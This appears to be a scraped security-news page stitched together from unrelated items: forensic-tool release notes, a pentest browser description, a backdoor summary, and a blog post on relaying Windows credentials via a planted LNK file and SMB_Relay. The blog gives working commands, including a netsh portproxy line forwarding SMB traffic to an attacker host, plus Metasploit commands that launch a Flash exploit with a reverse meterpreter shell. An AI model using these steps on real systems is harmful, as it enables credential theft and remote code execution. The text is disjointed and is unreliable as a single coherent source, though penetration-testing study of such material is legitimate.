This is the first release of Blade™ to have evaluation capabilities which allow the user to test and evaluate our software for 30 days. When Blade™ is installed on a workstation for the first time (and a valid USB dongle licence is not inserted) the software will function in evaluation mode.
The following list contains a summary of the new features:
Support for Advanced Forensic Format (AFF®)
Hiberfil.sys converter - supports XP, Vista, Windows 7 32 and 64bit
Accurate hiberfil.sys memory mapping, not just Xpress block decompression
Hiberfil.sys slack recovery
Codepage setting for enhanced multi-language support
SQLite database recovery
30 Day evaluation version of Blade™ Professional
New recovery profile parameters for more advanced and accurate data recovery
Support for Logicube Forensic Dossier®
Support for OMA DRM Content Format for Discrete Media Profile (DCF)
We have also been working on the data recovery engines to make them more efficient and much faster than before. The searching speed has been significantly increased.
HCON is a security framework. This latest release is the portable penetration testing environment, capable of assisting in all tasks of any penetration testing or vulnerability assessments and more. It has two versions based on the Firefox and Chromium source code, called Fire and Aqua respectively.
Most of the part of HconSTF is semi-automated but you still need your brain to work it out. It can be use in all kind of security testing stages, it has tools for conducting tasks like,
Information gathering
Enumeration & Reconnaissance
Vulnerability assessment
Exploitation
Privilege escalation
Reporting
Web debugging
Key Features of HconSTF
Categorized and comprehensive toolset
Contains hundreds of tools and features and script for different tasks like SQLi,XSS,Dorks,OSINT to name a few
HconSTF webUI with online tools (same as the Aqua base version of HconSTF)
Each and every option is configured for penetration testing and Vulnerability assessments
Specially configured and enhanced for gaining easy & solid anonymity
Works for web app testing assessments specially for owasp top 10
Easy to use & collaborative Operating System like interface
Light on Hardware Resources
Portable – no need to install, can work from any USB storage device
Multi-Language support (feature in heavy development translators needed)
Works side-by-side with your normal web browser without any conflict issues
Works on both architectures x86 & x64 on windows XP, Vista, 7 (works with ubuntu linux using wine)
Netbook compatible – User interface is designed for using framework on small screen sizes
As a tribute to all of the freedom fighters of all the countries, HconSTF version 0.4 codenamed ‘Freedom’, was made available on the Indian Republic day. This release has integrated many functions for anonymity and OSINT.
Browser forensic tool is a software that will search in all kind of browser history even that are archived in a few seconds.It will retrieve URLS and Title with the chosen keywords of all matching search.We can use default example profiles or create yours, with thematic search on a single click. This tool come from the Developer of Famous DarkComet RAT Tool. Browsers supported by BFT inlcude IE, Firefox, Chrome and Opera.
I need to touch on the highlights of two vulnerabilities before we talk about the fun stuff, but I highly encourage you to read the references at the bottom of this post and understand the vulnerabilities after you are done with my little trick, as you might find one of your own.
In 2008, Microsoft released MS08_068 which patched the "SMB Relay" attack. To boil this down, an attacker gets a victim to attempt to authenticate to an attacker controlled box. The attack delays its responses to the victim and replays the important parts of the authentication that the victim sent back at the victim. You can find out a lot more about this vulnerability here: https://community.rapid7.com/community/solutions/metasploit/blog/2008/11/11/ms08-068-metasploit-and-smb-relay
One thing to take away from that post is that the patch stops Attacker <=> Victim, but does not / cannot fix Victim <=> Attacker <=> Victim2 (use authentication from Victim to replay to Victim2)
In 2010, Microsoft released MS10_046 which patched the Stuxnet LNK vulnerability where a malicious DLL could be loaded (locally or remotely over WebDAV) using the path of the shortcut's icon reference. LNK files are Windows shortcut files that allow the icons of the files to be changed much more dynamically than any other file type (Right click a shortcut, go to Properties, and just simply click the 'Change Icon' button). I could certainly be wrong here, but I believe all Microsoft patched was the ability to use this feature to load the DLLs via a certain Control Panel object. Which leaves the ability to load shortcut (LNK) icons from wherever we wish. ;-)
The Setup:
If you are on an internal penetration test and either exploit a machine or find an open share, you can create an LNK file with an icon that points at a nonexistent share on your attacking machine's IP and use SMB_Relay to replay those credentials to a system in which we've identified by one means or another as an 'important' host to get on.
Attacker uploads malicious LNK file to network share on FILE SHARE
Victim views it on WORKSTATION that initiates an connection to ATTACKER
Attacker relays those authentication attempts to FILE SHARE, gaining code execution if 'Victim' is an admin on FILE SHARE
If not, then NetNTLM are still visible in the logs and can be attempted to crack, or just wait for more people to view the LNK file on the public share, and hope that an admin comes by at some point.
Your mileage will vary based on where you put the LNK file.
The Video:
I have created a post module to automate the process of creating and uploading the LNK file (so you don't have to have a Windows box lying around). Here it is in action:
Module options (post/windows/escalate/droplnk):
Name Current Setting Required Description ---- --------------- -------- ----------- ICONFILENAME icon.png yes File name on LHOST's share LHOST 192.168.2.16 yes Host listening for incoming SMB/WebDAV traffic LNKFILENAME Words.lnk yes Shortcut's filename SESSION 1 yes The session to run this module on. SHARENAME share1 yes Share name on LHOST
2012-02-11 07:17:19 +0000 2 1 post(droplnk) > run
[*] Creating evil LNK [*] Done. Writing to disk - C:\DocuMe~1\Administrator\\Words.lnk [*] Done. Wait for evil to happen.. [*] Post module execution completed
Obviously this isn't so effective remotely out of the box and there currently isn't a SMB_Relay for WebDAV (although I'm guessing that would work). However I was able to construct a crude way getting smb_relaying working using some pretty loud system changes to an exploited host:
Step 1: Disable SMB on Port 445 (it will still operate on 139 as it is a failover), this setting requires a reboot to take effect and can be done using the following command:
Step 2: Port forward the traffic out to your remote attacker host over a port that is allowed out, used 80:
netsh int portproxy v4tov4 listenport=445 connectaddress=the.bad.guy.com connectport=80
Step 3: Set up SMB_Relay listening on that port on your attacker with a route in meterpreter to send all relayed authentication through your meterpreter session into and at the targeted host.
These steps can get you noticed in almost every way, so it's not recommended, I just did it as a PoC. I mean how cool is it to remotely exploit SMB vulns ;-)
The other thing is, administrators are becoming much more rare as years move along and people use lower priv users for their daily tasks, so there are currently feature requests in to the Metasploit project to make it so when you get SMB_Relay correctly forwarding good credentials, even if they aren't admin and you cannot get code execution it would be nice to be able to go through the files that person has access to on the targeted system / file share. A final pipe dream of this post is to have a multi-threaded smb_relay that 2, 3 or even 10 servers can be targeted with the relayed authentication.
trixd00r is an advanced and invisible userland backdoor based on TCP/IP for UNIX systems. It consists of a server and a client. The server sits and waits for magic packets using a sniffer. If a magic packet arrives, it will bind a shell over TCP or UDP on the given port or connecting back to the client again over TCP or UDP. The client is used to send magic packets to trigger the server and get a shell.
Adobe Flash Player 10.3.181.36 and earlier versions for Windows, Macintosh, Linux and Solaris operating systems.
Tested on Windows XP Pro SP3 with :
Adobe Flash Player 10.3.181.34
Longtail SWF Player
Internet Explorer 7
Description :
This module exploits a vulnerability found in Adobe Flash Player’s Flash10u.ocx component. When processing a MP4 file (specifically the Sequence Parameter Set), Flash will see if pic_order_cnt_type is equal to 1, which sets the num_ref_frames_in_pic_order_cnt_cycle field, and then blindly copies data in offset_for_ref_frame on the stack, which allows arbitrary remote code execution under the context of the user. Numerous reports also indicate that this vulnerability has been exploited in the wild. Please note that the exploit requires a SWF media player in order to trigger the bug, which currently isn’t included in the framework. However, software such as Longtail SWF Player is free for non-commercial use, and is easily obtainable.
Commands :
use exploit/windows/browser/adobe_flash_sps
set SRVHOST 192.168.178.100
set SWF_PLAYER_URI http://192.168.178.100/mediaplayer/player.swf
SET PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.100
exploit
sysinfo
getuid
Currently, only the first five of the 24 tutorials have been released. Unfortunately, Microsoft has stuck to a glacial release schedule of one tutorial per week; the last of the series is set to be published in mid-June. The videos average around six or seven minutes apiece and are available for direct download. Given their length one would think embedded Flash video would be a preferable medium, but at least this way they can easily be archived for later reference.
